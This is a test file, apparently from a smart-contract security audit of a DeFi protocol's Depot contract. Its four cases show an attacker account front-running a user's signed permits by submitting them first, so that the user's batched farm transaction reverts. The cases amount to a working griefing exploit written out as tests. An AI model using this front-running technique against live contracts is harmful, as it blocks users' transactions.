// case 1: revert the tx by front-run permitDeposit function
describe("Permit Deposit and Transfer Deposits 1", async function () {
beforeEach(async function () {
const nonce = await this.beanstalk.connect(user).depositPermitNonces(user.address);
const signature = await signSiloDepositTokenPermit(user, user.address, this.depot.address, BEAN, to6('2'), nonce);
permit = await this.depot.interface.encodeFunctionData('permitDeposit',
[
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
]
)
transfer = await this.depot.interface.encodeFunctionData('transferDeposits', [
user.address,
PIPELINE,
BEAN,
[0,2],
[to6('1'), to6('1')]
])
// attacker front-run permitDeposit
await this.depot.connect(attacker).permitDeposit(
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
);
})
it('pipeline has deposits', async function () {
await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("Silo: permit invalid signature")
})
})
// case 2: revert the tx by front-run permitDeposits function
describe("Permit Deposit and Transfer Deposits 2", async function () {
beforeEach(async function () {
const nonce = await this.beanstalk.connect(user).depositPermitNonces(user.address);
const signature = await signSiloDepositTokensPermit(user, user.address, this.depot.address, [BEAN, this.siloToken.address], [to6('1'), to6('1')], nonce);
permit = await this.depot.interface.encodeFunctionData('permitDeposits',
[
signature.owner,
signature.spender,
signature.tokens,
signature.values,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
]
)
transfer = await this.depot.interface.encodeFunctionData('transferDeposit', [
user.address,
PIPELINE,
BEAN,
0,
to6('1')
])
// attacker front-run permitDeposits
await this.depot.connect(attacker).permitDeposits(
signature.owner,
signature.spender,
signature.tokens,
signature.values,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
);
transfer2 = await this.depot.interface.encodeFunctionData('transferDeposit', [
user.address,
PIPELINE,
this.siloToken.address,
0,
to6('1')
])
})
it('pipeline has deposits', async function () {
await expect(this.depot.connect(user).farm([permit, transfer, transfer2])).to.be.revertedWith("Silo: permit invalid signature")
})
})
// case 3: revert the tx by front-run permitERC20 function
describe("Permit and Transfer case #3", async function () {
beforeEach(async function () {
const signature = await signERC2612Permit(
ethers.provider,
this.siloToken.address,
user.address,
this.depot.address,
'10000000',
);
permit = this.beanstalk.interface.encodeFunctionData('permitERC20', [
this.siloToken.address,
signature.owner,
signature.spender,
signature.value,
signature.deadline,
signature.v,
signature.r,
signature.s
]);
transfer = await this.depot.interface.encodeFunctionData('transferToken', [
this.siloToken.address,
PIPELINE,
to6('1'),
EXTERNAL,
EXTERNAL
]);
// attacker front-run permitERC20
await this.depot.connect(attacker).permitERC20(
this.siloToken.address,
signature.owner,
signature.spender,
signature.value,
signature.deadline,
signature.v,
signature.r,
signature.s
);
await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("ERC20Permit: invalid signature")
})
it('transfers token', async function () {
expect(await this.siloToken.balanceOf(user.address)).not.to.be.equal(to6('0'))
expect(await this.siloToken.balanceOf(PIPELINE)).not.to.be.equal(to6('1'))
})
})
// case 4: revert the tx by front-run permitToken function
describe("Permit and Transfer case #4", async function () {
beforeEach(async function () {
const nonce = await this.beanstalk.tokenPermitNonces(user.address);
const signature = await signTokenPermit(user, user.address, this.depot.address, BEAN, to6('1'), nonce);
permit = this.beanstalk.interface.encodeFunctionData('permitToken', [
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
]);
transfer = await this.depot.interface.encodeFunctionData('transferToken', [
BEAN,
PIPELINE,
to6('1'),
INTERNAL,
EXTERNAL
])
// attacker front-run permitToken
await this.depot.connect(attacker).permitToken(
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s);
await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("Token: permit invalid signature");
})
it('transfers token', async function () {
expect(await this.beanstalk.getInternalBalance(BEAN, user.address)).to.be.equal(to6('0'))
expect(await this.bean.balanceOf(PIPELINE)).to.be.equal(0)
})
})